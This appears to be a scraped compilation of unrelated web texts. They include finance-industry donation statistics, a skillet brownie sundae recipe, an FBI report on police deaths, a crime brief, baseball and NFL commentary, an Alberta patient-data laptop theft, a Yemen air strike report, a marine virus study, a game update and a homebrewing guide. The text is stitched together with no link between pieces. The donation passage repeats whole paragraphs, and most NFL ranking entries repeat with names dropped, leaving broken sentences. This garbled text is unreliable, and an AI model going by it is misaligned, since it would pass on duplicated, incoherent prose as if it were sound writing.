In 1990, 412 of the 1,091 elite donors from the finance industry came from the securities and investment industry, followed by 328 from real estate; by 2010, it was 2,178 from securities and investments, followed by 1,468 from real estate. In 1990, elite donors from securities and investments contributed $6.1 million and elite donors from real estate contributed $4.6 million. In 2010 elite donors from securities and investments contributed $84.0 million, while real estate donors contributed $44.5 million."
So, in a 20-year period when the financial sector's share of the economy expanded by a third, from 6% to 8.4% of GDP, donations from this particular group increased by 700%.
Before you go away thinking this graph explains everything you need to know about the way Congress works (and, by the way, that graph probably doesn't exist), keep in mind that elite donations are just a small part of how the richest Americans are more politically active than the rest of us. Via
For example, 41 percent of the very wealthy reported attending a political meeting. Only 9 percent of Americans did so in 2008. And 68 percent of the very wealthy reported giving money to a political candidate, party, or cause in the last four years. In 2008-a year in which "small donors" were numerous-only 13 percent of Americans donated to a political candidate or party. Again, there are small differences in the wording of the questions between the two surveys, but they are not likely responsible for the 55-point gap.
So, in a 20-year period when the financial sector's share of the economy expanded by a third, from 6% to 8.4% of GDP, donations from this particular group increased by 700%.Before you go away thinking this graph explains everything you need to know about the way Congress works (and, by the way, that graph probably doesn't exist), keep in mind that elite donations are just a small part of how the richest Americans are more politically active than the rest of us. Via Yglesias |
For the past 20 years, a favorite family dessert has been brownie sundaes with hard toffee and caramel sauce. My husband and brother-in-law ask for this dessert at every opportunity. The recipe morphed over the years from a specific printed recipe that I think I got out of Bon Appetit.
Since first making this recipe, I discovered the Baker's Chocolate One-Bowl Brownie recipe…hands down the easiest and tastiest brownie recipe. I also began using a different caramel sauce recipe. Sometimes I soften vanilla ice cream and mix toffee bits into it and sometimes I just serve it with plain, but real, vanilla ice cream with the toffee crumbled on top.
No matter the recipe or source, the combination of warm brownie+real vanilla ice cream+ homemade caramel sauce+hard toffee = One Delicious Dessert!
Skillet Brownie Sundae with Caramel Sauce and Hard Toffee
Baking pan brownie sundae has morphed into a skillet brownie sundae by baking them in individual 5-inch cast iron skillets. I can't quite put my finger on why, but baking them in the individual skillets really takes them up a notch. I think it's because the brownies stay warmer longer and you get the wee bit of crunchier crust all the way round each brownie.
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Having a very moist brownie bump up against that crunchy crust in just about every bite…um…yeah. I've been looking for these individual skillets for some time now and they're not the easiest to find, in my neck of the woods anyway. In addition to using them for a skillet brownie sundae, I'd like to use them for individual berry/fruit cobblers, as well as egg dishes. I plan to use them a lot. I ended up finding them online at Amazon (surprise!). I bought Lodge H5MS Heat Enhanced and Seasoned Cast Iron Mini Skillet, 5-Inch – Pack of 4
I typically use heath bars for my toffee, but you could make your own toffee or use other brands (I've used Werther's before with great success). My grocery store doesn't carry the Bits o' Brickle Heath Bar bits (like chocolate chips, but toffee instead), but I wish they did. It would make this recipe just that much easier. Instead, I put the toffee candy in a pan, cover it with a cloth and played whack-a-mole with my meat pounder. And can we take just a minute and talk about caramel sauce? There's caramel sauce and then there's CARAMEL SAUCE!
Like most things, store bought caramel sauce can't hold a candle to homemade caramel sauce. And it's a fun thing to make…a little science experiment-y with the burning sugar and the bubbling cream. The recipe I use is from's Martha Stewart's Living cookbook and it's really easy. The only problem with it is that I could, and have, eaten a big spoonful of it…by itself…just to make sure it was O.K.
Individual Skillet Toffee Bit Brownie Sundaes Yield: 6 servings Prep Time: 15 minutes Cook Time: 30 minutes Total Time: 45 minutes Recipe for a decadent Toffee Brownie Sundaes with Ice Cream and Caramel Sauce Print Ingredients For Brownie 4 oz. unsweetened chocolate
3/4 cup butter
2 cups sugar
3 eggs
1 tsp. vanilla
1 cup flour
1 cup toffee bits For Caramel Sauce (The Martha Steward Living Cookbook, recipe cut in half) 1 cup sugar
3/4 cup heavy cream
1 TB unsalted butter
1/2 tsp lemon juice Instructions For Brownie Heat oven to 350°F. Butter individual skillets (or line 13 x 9 pan with buttered aluminum foil) Microwave chocolate and butter in large microwaveable bowl on HIGH 2 min. or until butter is melted. Stir until chocolate is completely melted. Stir in sugar. Blend in eggs and vanilla. Add flour and toffee bits; mix well. Pour into prepared skillets Bake 25-30 min. (35-40 for big pan) or until toothpick inserted in center comes out with fudgy crumbs. (Do not overbake.) Let cool for 15 minutes and then top with ice cream, caramel sauce and more toffee bits For Caramel Sauce Place sugar and 1/4 cup water in a saucepan and stir to combine Bring mixture to a boil over medium-high heat, brushing down the sides of the pan with a wet pastry brush. Don't stir Reduce heat to low and simmer until mixture is a rich amber color, approximately 10 minutes. Watch carefully as you don't want it going further than the amber color. Gradually add the cream while stirring with a wooden spoon. Add the butter and lemon and stir to comine. Serve warm This caramel sauce will keep for a week or two in the fridge Notes
Adapted from Baker's Chocolate and Martha Stewart
And while apple pie has earned the title of ‘the All-American' dessert and a place at everyone's 4th of July picnic, I think a case can be made that a skillet brownie sundae with toffee bits, topped with ice cream and smothered with caramel sauce is every bit as patriotic. Just my thoughts.
Thanks for stopping by to visit today, I appreciate you more than you’ll ever know. And when you leave a comment…ah, it makes my heart sing!
I have published printable PDFs of several of my most popular knit patterns and printables and have made those available to all of my subscribers. And come back and check every now and again. I will continue to add patterns and printables to this page as we go along.
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Until next time,
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The number of police officers slain in the line of duty nearly doubled to 51 in 2014 over the previous year, the FBI said in a report released Monday. But the sudden spike was largely due to a relatively low number in 2013, and the overall figure still appeared in line with a general downward trend.
The FBI report comes amid heightened debate about overall policing practices and police treatment of people of color, with officers who used deadly force often citing fear for their lives as the reason for pulling the trigger, as was the case when white police officer Darren Wilson killed unarmed black teenager Michael Brown in Ferguson, Missouri, after a scuffle on Aug. 9. The incident — and a grand jury decision not to indict Wilson — prompted protests across the country and has focused increasing attention on the issue.
Despite the sudden spike in the killing of officers last year, the level was still lower than in 1964 when 150 police died, according to the National Law Enforcement Officers’ Memorial Fund. The data correspond with a steep nationwide drop in violent crime, which has fallen by half since 1991.
In 46 of the 51 cases in the FBI report, the killer or killers used a firearm. In all of the killings, the alleged perpetrators were arrested or dispatched by “exceptional means” — an FBI term that the bureau says often means “the death of the offender (e.g., suicide or justifiably killed by police or citizen)” or “the victim’s refusal to cooperate with the prosecution after the offender has been identified.”
The 51 deaths represent an 89 percent increase over 2013, a particularly quiet year for law enforcement deaths, with just 27 reported. That was the lowest in the last 35 years, with an average of 61 officers losing their lives in the line of duty each year.
Accidents, often traffic-related, were the second-highest cause of officer deaths behind intentional killings, according to the FBI report.
“An additional 44 officers were accidentally killed in the line of duty in 2014,” the report said. “This total represents five officers fewer than the 49 officers who were accidentally killed in 2013. By region, 19 officers died due to accidents in the South, 13 in the West, seven in the Northeast, four in the Midwest, and one in Puerto Rico.”
In Hattiesburg, Mississippi, police officers Benjamin Deen and Liquori Tate suffered fatal gunshot wounds during a traffic stop Saturday night. Authorities arrested four people, charging two of them with capital murder, the Associated Press reported. It was the first time in 30 years that a police officer died while on duty in the rural town. |
DECEMBER 28--Minnesota cops are still searching for the man who pointed a handgun at an adult video store employee during a dispute over a malfunctioning penis pump.
According to a police report, the suspect approached a clerk at Viva Video (seen below) last Wednesday night and “attempted to return a sexual device” he had previously purchased at the St. Paul business.
The customer claimed the item--which police identified as a penis pump--did not work as advertised. However, the store clerk declined the return request “because [the pump] had been used,” cops noted.
After being rebuffed by the employee, “the suspect pulled out a black handgun and threatened the clerk” before fleeing from the business (without a new penis pump).
Officers noted that they had “limited suspect information.” A police spokesperson today said that no arrest has been made in connection with the penis pump incident, which investigators have classified as a felony aggravated assault with a firearm. (1 page) |
ARLINGTON, Texas -- Jeff Banister insists he never panicked, not even when the Texas Rangers had the American League's worst record after 24 games.
If you don't believe him, he'll put his hand on the Bible. Pinkie swear? No problem.
Banister said he never doubted his club's ability to rise above the American League's dregs because his eyes showed him the truth based on 30 years in professional baseball. Results lie; effort doesn't.
Each day, Banister watched his players take the field with purpose and play hard -- even when they didn't always play well. He didn't see slumping shoulders or grim faces, just a resolve to play better.
The reality is Banister needed players such as Shin-Soo Choo and Adrian Beltre to play to their pedigree, and he needed to find help in the bullpen. Once that happened, the Rangers took off.
"It's easy to throw your hands in the air and start throwing blame in all directions or start reaching for excuses -- we're injured here, we're injured there," Banister said. "Never did I say that, never did I believe that.
Jeff Banister is a firm believer in the process, which is why the Rangers' first-year manager never lost faith when things were going bad. Brian Blanco/Getty Images
"We believe in the process, and I believed in those guys and what they felt about themselves. Those guys will let you know when they don't feel good about themselves."
It's that attitude that helped Banister earn the respect of his key players. Do that, and the rest will follow.
Since May 4, the Rangers have baseball's best record (22-11), and they began a three-game series against Oakland on Tuesday night with the AL's sixth-best record. The Rangers are 7-1-2 in their last 10 series after going 0-6-2 in their first eight.
"He was calm. He didn't panic and he didn't act differently in April," Elvis Andrus said. "As a first-time manager, a lot of guys probably would've panicked, but he went complete opposite way -- and that's big."
The Rangers aren't just winning because they're playing better; the manager has made an impact. He plays to win each night.
Obviously every manager wants to win every game, but they don't manage that way.
Banister does.
If it means using his closer to get four outs, then he'll do it. If it means pinch-running for Prince Fielder or Beltre in the eighth inning for a better chance to tie the score, then so be it. He'll worry about their replacements once the game goes into extra innings.
He has zero issue taking a player out of his normal role to help the team win a game.
"Each one of those guys deserves my best each night they go out and perform. They need the best decision I can make to win a game," Banister said. "Every game we have an opportunity to win.
"We get paid to win. The emotional investment for everybody in this organization. The fans that buy Texas jerseys and hats come to the ballpark or turn on the TV to see us give an effort to win a ballgame.
"Plus those guys in the clubhouse deserve it. They don't show up not to win. They show up every day looking to win a ballgame. Who's to say the one you don't show up to win keeps you out of the playoffs scenario?"
Ron Washington, who led the Rangers to consecutive World Series appearances, earned the loyalty of his players by giving them every opportunity to succeed. He rarely tinkered with the lineup and didn't use his bench players all that much.
Banister takes a different approach to earn trust. When a player is struggling, Banister likes to let the player "unplug."
It could mean giving a player a couple of days off, the way he did for Choo at the start of May. Or it could mean dropping a player in the batting order for a game or two, the way he did with Leonys Martin.
Sometimes, it means sending a promising player such as Rougned Odor to the minor leagues, so he can improve his skill set in a less pressurized setting.
Banister usually changes each day, and he's obsessive about making sure his bench players get regular work.
Banister, though, has also found a way to connect with players. Chi Chi Gonzalez will never forget the way Banister made him stay on the mound and soak in the moment as the home crowd gave him a thunderous ovation in his major league debut.
And he was intuitive enough to bat Joey Gallo sixth in his first couple of games to ease the rookie's mind and remove any self-induced pressure to be a run-producer.
"He's a man," Fielder said. "I've had good managers, and he's by far one of the best. The way he handles things, listens to the veteran players and allows us to govern the clubhouse.
"He's straight up. There's no talking behind your back. I love him. He's what a man is supposed to be."
For Banister, that's the ultimate sign he's managing the team properly. |
EDMONTON – Alberta’s health minister said he is “outraged” after being informed on Tuesday that a laptop containing the name, date of birth, provincial health card numbers, billing codes, and diagnostic codes of 620,000 Albertans was stolen in September.
“The theft of the personal health information of 620,000 of our fellow citizens is unacceptable in Alberta’s health care system in any circumstance,” said Fred Horne.
Horne said he received a letter from the vice president of Medicentres Family Health Care Clinics informing him of the theft.
“I am extremely disappointed that it has taken this long for this to be brought to the government’s attention,” Horne said in a statement. “Albertans want to know that their information is secure and protected.”
“I’m quite frankly outraged that this would not have been reported to myself or my department sooner.”
Wednesday afternoon, Horne said he hadn’t been told where the laptop was when it was stolen, and he wants more information from Medicentres.
“I expect that the company will have many questions to answer in the next little while with respect to this.”
In a statement, Medicentres said: “Physicians and staff are dedicated to serving the needs of patients’ and meeting their health care needs in a professionally competent, friendly, caring and efficient manner. It is therefore with great regret that we are advising our patients of a potential privacy breach that affects a large number of our patients. On October 1, 2013 we were notified that a laptop belonging to an IT consultant working for Medicentres was stolen.”
Arif Bhimji, chief medical officer with Medicentres Canada says the IT consultant was working on an app at the time.
“The reason that he required this much information is that he had to test the application and that required a substantial or significant volume of patient information to be available to make sure that the application was working properly.”
“The laptop contained names, dates of birth, provincial health card numbers, billing codes, billing amounts and diagnostic codes of patients seen at Medicentres clinics in Alberta between May 2, 2011 and September 19, 2013. Approximately 620,000 patients have been affected. To date, Medicentres has no information to suggest that any of the personal information on the laptop has been accessed or misused,” Medicentres’ statement read.
Affected patients who have questions are asked to contact Medicentres directly at 780-484-8741 or via email at [email protected].
Bhimji says while most of the patient information was that of people from Edmonton and Calgary, information about patients across the province was on the laptop.
Medicentres also indicated it has implemented some additional security measures and is looking at its security policies to ensure personal information is safe.
“We now encrypt all of our hard drives on laptop devices, whether they belong to Medicentres or whether they belong to consultants that may be doing work for us. We’ve undertaken a full audit and continue to audit our systems to look at how we can physically safeguard information in addition to how we can use additional software to safeguard information,” said Bhimji.
Read the full Medicentres statement below.
The minister was also told that the theft of the laptop was reported to the Edmonton Police Service and Alberta’s Privacy Commissioner.
Police confirmed the laptop had been reported stolen to the EPS on Oct. 5. 2013. “An investigation is currently ongoing,” said a spokesperson.
Opposition parties are calling for change in the wake of the theft.
“Why is it that a single person at a private company can amass 620,000 pieces of information on individual patients, with all of this information in one place unencrypted, and then have it stolen?” asked Wildrose leader Danielle Smith. “It’s remarkable to me that this has occurred, that there isn’t a way for apparently the health minister to be notified when it occurs. As well, I have to question, what are the practices happening at other chain stores like this?”
“I think that there’s a serious question that we have here about who knew what when? Why wasn’t the minister told by the company? Why wasn’t the privacy commissioner telling the minister? Why didn’t the police tell the minister?”
“A breach of this magnitude is shocking,” said NDP Health Critic David Eggen. “For this government to fail in protecting such sensitive health information highlights the massive gaps we have in this province, and it is obvious that current legislation is not effective.”
The NDP is calling on the government to draft tougher legislation to ensure the private medical information of Albertan is better protected.
“What’s even more disturbing is the length of time it took for Albertans to find out about this breach. There needs to be far more accountability for all involved,” Eggen added.
Click here to view the full NDP response.
“Today, I contacted the Alberta’s Privacy Commissioner to speak about this incident and to formally request an official investigation under the Health Information Act with an aim to find out what happened, why health authorities have only just been informed, and what, if any, breaches of privacy legislation may have occurred,” said Horne on Wednesday.
“I have also contacted Alberta’s College of Physicians and Surgeons and the Alberta Medical Association regarding this incident so that they may take any steps that they deem necessary.
“I would encourage any Albertan who feels they may be affected and is concerned about this incident to contact Medicentres Family Health Care Clinics. I would also encourage those same Albertans to review information available from the Office of the Privacy Commissioner if they would like information on privacy legislation in general,” read Horne’s statement.
Follow @Emily_Mertz
Medicentre Media Statement |
People look at a burnt car at a petrol station near a checkpoint of the armed Houthi movement hit by a Saudi-led air strike near Sanaa, Yemen August 30, 2017. REUTERS/Khaled Abdullah
DUBAI (Reuters) - Warplanes attacked a checkpoint outside the Yemeni capital Sanaa on Wednesday, killing five civilians in a taxi and two armed personnel manning the site, witnesses said.
The bombing in the Masajed district about 10 km (six miles) west of Sanaa caused the car to careen into a nearby gas station, setting it ablaze and complicating rescue efforts, they said.
A Saudi-led military coalition has launched thousands of air strikes against the armed Houthi movement which controls Yemen’s capital and much of Yemen’s north.
The coalition intervened in a civil war in March 2015 to restore to power Yemen’s ousted internationally recognized government.
The war has killed at least 10,000 people and unleashed hunger and disease in the country that even before the conflict was one of the Arab world’s poorest.
The coalition made no immediate comment on the reported air strike. |
Viruses fill the ocean and have a significant effect on ocean biology, specifically marine microbiology, according to a professor of biology at UC Santa Barbara and his collaborators.
Craig A. Carlson, professor with UCSB's Department of Ecology, Evolution, and Marine Biology, is the senior author of a study of marine viruses published this week by the International Society for Microbial Ecology Journal, of the Nature Publishing Group.
The new findings, resulting from a decade of research, reveal striking recurring patterns of marine virioplankton dynamics in the open sea, which have implications regarding our understanding of cycling of nutrients in the world's oceans.
Marine viruses encompass enormous genetic diversity, affect biogeochemical cycling of elements, and partially control aspects of microbial production and diversity, according to the scientists. Despite their importance in the ocean, there has been a surprising lack of data describing virioplankton distributions over time and depth in open oceanic systems.
"Microbial interactions, between oceanic viruses and bacteria, take place on the nanometer scale but are extremely important in governing the flow of energy and the cycling of nutrients like carbon, nitrogen, and phosphorus on the ecosystem scale of the world's oceans," said Carlson. The scientists studied microbes in the water column of the Saragasso Sea, off of Bermuda, for a decade.
"Although we can't see them with our naked eye, marine microbes are the dominant life forms in our oceans," said Rachel J. Parsons, first author and a microbial oceanographer with the Bermuda Institute of Ocean Science. "They comprise 95 percent of the living biomass in the oceans -- more than all the krill, fish and whales put together. They grow at rates many times faster than larger animals. As a result of their sheer numbers, and the rates at which they grow, they are responsible for transforming and shaping the distribution of life's essential elements -- and they help control climate on our planet. Without marine microbes, life as we know it could not persist."
According to the scientists, there are approximately 10 million viruses in every drop of surface seawater, yet despite the high number of viruses very few are infectious agents to larger animals like fish, whales, or humans. That is because almost all of the marine viruses are "phages" -- viruses that specifically attack marine bacteria. Marine phages cannot carry out cellular metabolism and must therefore rely on the metabolic machinery of their bacterioplankton hosts to replicate. This warfare often kills the hosts, causing them to spill their internal nutrient content into the surrounding water.
In the new paper, the authors describe remarkably regular annual patterns of virioplankton abundance, tied to ocean physics and chemistry. These patterns in turn control the dynamics of the bacterioplankton hosts. The data suggest that a significant fraction of viruses in the upper photic, or light, zone of the subtropical oceanic gyres may be cyanophages -- viruses that infect photosynthetic bacterioplankton.
If true, the dominance of cyanophages in open ocean systems has significant biogeochemical implications. Viral-mediated breakdown of cyanobacteria could benefit phytoplankton through the release of macro- and micronutrients. Viral breakdown of host cells converts particulate material to suspended or dissolved materials such as amino acids and nucleic acids, effectively resulting in the retention of nitrogen, phosphorus, and iron within the surface water. These dissolved materials fuel microbial activity in an otherwise nutrient-poor open ocean system.
In this decade-long study, the scientists studied in unprecedented detail the temporal and vertical patterns of virioplankton abundance within the open ocean. Samples were collected throughout the upper 300 meters of the water column every month, beginning in the year 2000, at an open ocean hydrostation called the Bermuda Atlantic Time-series Study (BATS) site. The additional data collected as part of the BATS program provides oceanographic details regarding ocean physics, chemistry, and biology that are extremely valuable for interpreting the observed trends in marine phages.
"This high-resolution, decadal survey provides insight into the possible controls of virioplankton dynamics and the role they play in regulating biology and nutrient cycling in the open ocean," said Carlson. "The data provided by this study will now be utilized by ecosystem and biogeochemical modelers in an attempt to better understand how microbial processes affect the larger biogeochemical cycling in the ocean."
Other co-authors of the study are Mya Breitbart, of the University of South Florida, and Michael W. Lomas, of the Bermuda Institute of Ocean Science. |
With the upcoming Builder Hall 6 Invitational Tournament on the horizon, we wanted to share with you the new features are being released in this next content update. In this new content release, we are adding two incredible new units to the Builder Base while also increasing the level cap for the units already available.
Here are the features you will see in the Builder Hall 6 release along with two new units detailed below.
Defense:
+1 Archer Tower
+1 Crusher
+1 Mine
+1 Mega Mine
+4 Wall sections
Yes, you read that right…we are implementing a second Crusher, the bane of Barbarians and Giants. Furthermore, in correspondence to the Builder Hall’s increased level, all defenses, traps, and walls can now be upgraded to Level 6. The only exception to this is the Spring Trap, which can be upgraded to Level 3.
Offense:
Levels 11 – 12 for all Troops after upgrading the Star Laboratory to Level 6
Levels 6 – 10 for the Battle Machine
Other:
Resource collectors, storages, Gem Mine, and Clock Tower can be upgraded to Level 6.
A single Archer Tower in your Town Hall can now be Geared Up, similarly to the Cannon. Requires Builder Base Archer Tower Level 6 and Home Village Archer Tower Level 10.
Balancing:
Clock Tower cooldown reduced from 8 hours to 7 hours
Clock Tower duration reduced by 50%
Speed up multiplier has been reduced from 10x to 8x
After careful consideration we felt the Clock Tower provides too much free upgrade time. We are changing the Clock Tower cooldown from 8 hours to 7 hours and reducing the duration by 50%. We felt the Clock Tower provided progress too rapidly and that it required rebalancing to bring it in line with relative upgrade times. Reducing its cooldown will allow it to be boosted 3 times per day rather than 2 times.
NEW: The Night Witch
The Witch’s nocturnal sibling, the Night Witch is available once you upgrade your Builder Barracks to Level 8. Though there are some similarities between the Witch and the Night Witch, there are a few differences that make her stand out as well. Check out these abilities:
The Night Witch does ranged attacks that hit ground and air units
Spawns bats that attack ground and air units
Will spawn into a swarm of bats after receiving fatal damage
The Night Witch is a great way to take out those pesky Crushers, which is why we’re introducing the Night Witch’s bane: The Roaster
NEW: The Roaster
We couldn’t add a cool offensive unit without coming up with a way to defend against it. The Roaster is a great solution against the Night Witch. It is a flame-spitting defensive building that will bathe your foes in scalding plasma with the following details:
Range of 7 tiles
Burst fire of 15 shots
At Level 6 it does 16 damage per shot
Hits ground and air units
Does Area Splash type damage
So there you have it! A new Builder Hall level with plenty of unit upgrades, two new fun units to further bolster your Builder Base with, and an additional Gear Up feature for your Town Hall. We hope you enjoy burninating your enemies.
Clash On!
The Clash of Clans Team |
[Note: Many of these links are off to the BrewNorth home-brew shop (with referrals set). I am not affiliated with them, and can provide links to alternative home-brew stores for you to shop around.]
So you want to start brewing and after looking around online, see all these shiny and elaborate brewing systems. Or perhaps you are listening to some brewing podcasts and hear about inexpensive brewing systems that still $1000.00 CAD. After looking at these systems, do you also feel discouraged, thinking you need pockets of cash to get started in an enjoyable hobby?
Depending on “how legit” you want your brewing to be, the initial costs needn’t be any higher than $300. On the lower end you’d be using some kind of extract kit such as a Mr. Beer or Steeped Grains + Extract. When I started I skipped over the full extract route and did extract + steeped grains. A partial mash recipe will cost a little bit more, but if you think you might be interested in doing all grain then it’s an excellent way to get a taste of what it is like (milling grains, steeping them, their smell during the mash, etc.). Whatever you are doing, the cost for your most basic ingredients will be somewhere around $20 – $35.
If you are looking to jump right into All Grain, initial costs will be a fair bit higher. The best suggestion here is to start with Brew in a Bag (commonly called BIAB), which has a number of advantages for small space brewers. The bags are super easy to clean and take up very little space when stored. You can find these on Amazon or your home-brew store for about $10 after tax.
Of course, with the ingredients above you still won’t be able to make any beer without anywhere to store it for the 2 weeks it’ll take to ferment. When starting out, it’s probably the best to start off with a plastic bucket. They are inexpensive, safe to handle and easy to clean. However, buckets are permeable, which can cause problems if you will be aging things for a long time. Generally, first time brewers are more interested in quick turnaround, so it’s not a common concern. Your basic fermenter setup (Bucket, Drilled Lid, Stopper and Airlock) will set you back about $30.
There’s a number of knick-knacks you’ll need to get your hands on before your can get into your first brew day as well. Without these you’ll run the risk of contamination or lack the ability to measure things like the ABV of your finished product. This list of things is also the parts that cause your first-time brew costs to add up. Though, unless you break something you shouldn’t have to replace any of the gear for years.
Many of these costs can be trimmed down by buying a starter kit ($100) which will get you lots of what you see above but for a slightly discounted price. Though get in contact with the home-brew store to verify what is included in the kit and what items you’ll still need to get.
The other item you may need is the container for your boil. For now, assume you’ll be doing brewing on the stovetop, as that can help you keep the costs down. For stovetop brewing, a 21 quart canning pot ($45, but you should be able to find cheaper ones at Walmart) works out really well. They are easy to clean, lightweight and you should be able to get a good boil going for a 12L batch of beer.
Something that you need to keep in mind when buying this gear is that you can always recoup some of the costs by selling whatever you no longer need to people looking to get into the hobby.
Going a less expensive route means a small increase in the labour involved, but the difference isn’t that large. Most of your labour, regardless of how automated your system is, will be around cleaning and sanitization. Equipment at every price point still requires you to keep your gear free of bacteria and wild yeast that could get into and ruin a batch.
Homebrew Shops (Canada). Shops in bold have been vouched for by the author or friends of the author.
For other home-brew shops that might be in your region, check out the listings on BYO.
Thanks to Carson Brown for proof-reading this article. |
Oct 27, 2013; Minneapolis, MN, USA; Green Bay Packers quarterback Aaron Rodgers (12) talks with head coach Mike McCarthy during a time out in the game with the Minnesota Vikings at Mall of America Field at H.H.H. Metrodome. The Packers win 44-31. Mandatory Credit: Bruce Kluckhohn-USA TODAY Sports
Aaron Rodgers told Packer fans on Tuesday on his weekly radio show (via Rob Demovsky of ESPN.com), “Five letters here just for everybody in Packer-land: R-E-L-A-X. Relax. We’re going to be OK.”
I love Aaron Rodgers, but I am not relaxed. I believe him that HE is going to be okay, but the woeful offensive line, questionable play-calling by coach Mike McCarthy, and significant decline in Eddie Lacy‘s production are factors I can’t relax about.
In my rapid reaction to the embarrassment of a game against the Lions on Sunday, I asked why in the world did James Starks not get more work? McCarthy was giving DuJuan Harris the majority of the work in the fourth quarter, despite a predominantly productive game from Starks thus far (38 yards on eight carries). I understand going away from Lacy as it was clearly the worst game of his career, but why revert to Harris?
I respectfully disagree with our quarterback, I believe Packer fans have cause for concern. To relax would be to blind ourselves from what we’ve seen on the field this season. This concern is reflected in my week 4 ranks.
To clarify, the way I do power rankings is looking at every team and asking myself a series of questions (In order of importance):
If this team played all other 31 NFL teams today, how many games would they win? How good are the teams this team has beaten so far, and how convincingly did they beat them? What do I believe is the potential of how far the QB can take this team? Bad QB’s on good teams will ultimately lose playoff games (Andy Dalton), while good QB’s on bad teams can sometimes propel the otherwise poor personnel to the Super Bowl (Tom Brady 2001, best receiver was Troy Brown)
There are, of course, other factors (injury potential, coaching, home/road splits) that go into ranking teams, but these are the most important factors of ranking a team over another. With that, this unrelaxed (sorry, Aaron) Packer fan submits his Week 4 power rankings.
32 Tampa Bay Buccaneers 0-3, Last Week: 31 (-1) The Bucs drop to last this week, the only reason being the Raiders showed a heck of a lot more competence against the Pats on Sunday than the Bucs did against the Falcons on Thursday. Again, the Bucs’ defense allowed 488 total yards to the Falcons’ offense, gained a whole 217 total yards on offense, and they just look lost right now. As I said last week, they certainly do not have their QB of the future so it’s difficult to evaluate the rest of the offense, but for now the cannon in Tampa will not be banging very often.
31 Oakland Raiders 0-3, Last Week: 32 (+1) Vince Wilfork interception. This game, if nothing else, shows how far the Patriots have dropped off. Barely defeating the Raiders at home? Unprecedented for Tom Brady and Bill Belichick. The Raiders are ahead of Tampa Bay for now, but look for those two and the Jaguars to fight for the worst record and the 2015 No. 1 draft pick. The Raiders actually showed semblance of being a real football team! They probably should’ve won, barring a dropped catch resulting in ainterception. This game, if nothing else, shows how far the Patriots have dropped off. Barely defeating the Raiders at home? Unprecedented for Tom Brady and Bill Belichick. The Raiders are ahead of Tampa Bay for now, but look for those two and the Jaguars to fight for the worst record and the 2015 No. 1 draft pick.
30 Jacksonville Jaguars 0-3, Last Week: 29 (-1) Derek Carr, the Jaguars are killing Blake Bortles. Why in the world would you put in a rookie quarterback down 30 points in a meaningless game, not to mention a meaningless season, when you know you’re going to be terrible? Packer fans know the benefit of letting their promising rookie get a year or two of reps (and learning under a Hall of Famer) in order to be ready to go. Don’t get me wrong, Bortles is good. I’m excited to see more of him, but I just wish it started with him having better personnel to work with. Much like the Raiders are doing to, the Jaguars are killing. Why in the world would you put in a rookie quarterback down 30 points in a meaningless game, not to mention a meaningless season, when you know you’re going to be terrible? Packer fans know the benefit of letting their promising rookie get a year or two of reps (and learning under a Hall of Famer) in order to be ready to go. Don’t get me wrong, Bortles is good. I’m excited to see more of him, but I just wish it started with him having better personnel to work with.
29 St. Louis Rams 1-2, Last Week: 30 (+1) Austin Davis good? Or is the Cowboys defense really really terrible? Davis threw all over the Cowboys, with 327 yards and three touchdowns with a 71 percent completion rate. Even though they lost, this was actually an exciting game because if Davis can continue to play well, they’ll give San Francisco and Arizona decent competition when they play their two divisional games. Isgood? Or is the Cowboys defense really really terrible? Davis threw all over the Cowboys, with 327 yards and three touchdowns with a 71 percent completion rate. Even though they lost, this was actually an exciting game because if Davis can continue to play well, they’ll give San Francisco and Arizona decent competition when they play their two divisional games.
28 Minnesota Vikings 1-2, Last Week: 26th (-2) Teddy Bridgewater try and turn the Vikings’ luck around. He looked good coming in after Matt Cassel left with an injury. Teddy threw for 150 yards and ran for an additional 27. He, at the very least, makes the Vikings exciting to watch. Teddy time! I’m excited to watchtry and turn the Vikings’ luck around. He looked good coming in afterleft with an injury. Teddy threw for 150 yards and ran for an additional 27. He, at the very least, makes the Vikings exciting to watch.
27 Tennessee Titans 1-2, Last Week: 22 (-5) Bishop Sankey gave fantasy owners in keeper leagues a smidgen of hope, running for 61 yards on 10 carries against the tough Bengals defense. Other than that, the Titans don’t have anything to look forward to. Jake Locker is probably not their QB after this year. gave fantasy owners in keeper leagues a smidgen of hope, running for 61 yards on 10 carries against the tough Bengals defense. Other than that, the Titans don’t have anything to look forward to.is probably not their QB after this year.
26 Miami Dolphins 1-2, Last Week: 20 (-6) Lamar Miller had 108 yards on just 15 carries, an impressive 7.2 yards per carry. The problem was the defense gave up 132 yards to a backup running back. The team that overcame the Patriots in the season opener has not shown itself ever since. Amazingly, the run game was not the problem for the Dolphins last Sunday.had 108 yards on just 15 carries, an impressive 7.2 yards per carry. The problem was the defense gave up 132 yards to a backup running back. The team that overcame the Patriots in the season opener has not shown itself ever since.
25 Houston Texans 2-1, Last Week: 24 (-1) Third-down efficiency told the story for the Houston Texans on Sunday–2-for-12 on third down against a woeful Giants defense. This was an odd game, the Texans still put up 411 total yards but somehow only scored 17 points. Regardless, any team that loses by double digits to another mediocre to poor team is not going to crack the top 20 for a while.
24 New York Giants 1-2, Last Week: 27 (+3) Eli Manning actually gave fans some hope by throwing no–that’s right, ZERO–interceptions against the Texans. Rashad Jennings looks like a stud as well, so don’t count the Giants out quite yet as I did last week. I still believe this ends up as a bottom-dweller team, but they have a glimmer of hope. Not to mention the same record as the Packers. Sigh. An adept reader pointed out that my claim that the NFC East division is the worst in the league may be contradicted by my own rankings. I do have the Eagles as a top-five team, but the average rank of all four teams this week is 17. The AFC South, on the other hand, is at an average of 22.75. So I in fact believe (by way of my own rankings) that the AFC South is the worst division in the league. As for the Giants,actually gave fans some hope by throwing no–that’s right, ZERO–interceptions against the Texans.looks like a stud as well, so don’t count the Giants out quite yet as I did last week. I still believe this ends up as a bottom-dweller team, but they have a glimmer of hope. Not to mention the same record as the Packers. Sigh.
23 Kansas City Chiefs 1-2, Last Week: 23 Alex Smith, the man that allowed Aaron Rodgers to fall to us, actually has been quietly good the last couple years. He only threw for 186 yards against the Dolphins, but completed 19 of 25 passes and threw three touchdowns. , the man that allowed Aaron Rodgers to fall to us, actually has been quietly good the last couple years. He only threw for 186 yards against the Dolphins, but completed 19 of 25 passes and threw three touchdowns.
22 Cleveland Browns 1-2, Last Week: 18 (-4) I still maintain that no team in the NFL looks forward to playing the Browns, and they didn’t look terrible against the Ravens, but that confidence I had in them after defeating the Saints is gone. This isn’t the fault of the Browns, I’m just lower on New Orleans than I was before and beating them doesn’t seem as impressive anymore. Still noteworthy, but doesn’t bolster the Browns as much now.
